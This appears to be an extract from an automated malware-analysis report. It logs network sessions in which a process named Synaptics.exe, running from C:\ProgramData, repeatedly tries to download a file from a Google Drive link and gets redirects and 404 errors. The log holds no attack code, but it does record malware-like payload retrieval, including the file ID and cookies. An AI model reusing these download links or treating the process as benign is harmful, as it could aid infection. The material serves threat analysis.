2025-01-02 19:20:28 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
2025-01-02 19:20:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-zbmbyK9EETFIy39GEBt4ww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49796	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:29 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
2025-01-02 19:20:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-4IppoDkBxpjaKyMOwqx3vw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49798	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:29 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:29 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5ic4l0b9HZct50qMv7wBrF-LJ9U0AbM4cAZCM9O9ybZkOgg5vpV5Mwjx2cjGWkj_D9Ow2pbVo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:29 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-n-mBoVmLugIItSiDxRvRXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:29 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:29 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 6f 73 30 55 62 4d 47 6d 58 49 59 51 35 39 7a 73 5f 5a 57 4e 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="oos0UbMGmXIYQ59zs_ZWNw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:29 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49797	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:29 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
2025-01-02 19:20:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-nRVugxWIeV_38t_iq0glDg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	49801	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:30 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:30 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC758BiamSwwy1uUdGOXJX5xTVRVfddle125e0OkzwiYldtsVd0U8aki5P9QubQEceLS Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:30 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-fJsB66ZvzpRvRaqneXU4qQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:30 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:30 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 6a 74 67 59 30 35 74 63 4b 5f 43 6f 31 62 41 64 58 4a 73 67 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="6jtgY05tcK_Co1bAdXJsgg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:30 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	49800	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:30 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
2025-01-02 19:20:30 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:30 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-RbqS-_aNvGOVqBmKLUS4xA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	49802	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:30 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
2025-01-02 19:20:30 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:30 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-RSxG91mcbwuwEOyQbPdYMg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	49803	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:30 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:30 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5tYAQSxNtIoyLq1kzXUvUcoZiV1HBpzLUMQC1tXM5I7kpmZSoboB3s_rX5fQqbNgRq Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:30 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-JNoY-fQ-RWZO1GKzGcbjlw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:30 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:30 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 61 7a 44 77 4b 79 61 63 35 65 6c 32 5a 6a 4f 55 4d 75 34 6f 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="5azDwKyac5el2ZjOUMu4oA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:30 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	49807	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:31 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:31 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7LMQglZSriaM_tPzHbPDdtJZ7U2Z8xoYers0sCENOOmRDUwft90iqPE3GglFA3brWRTDCGEIE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:31 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-0ZGcdfev5Jca3bD1mRq8nA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
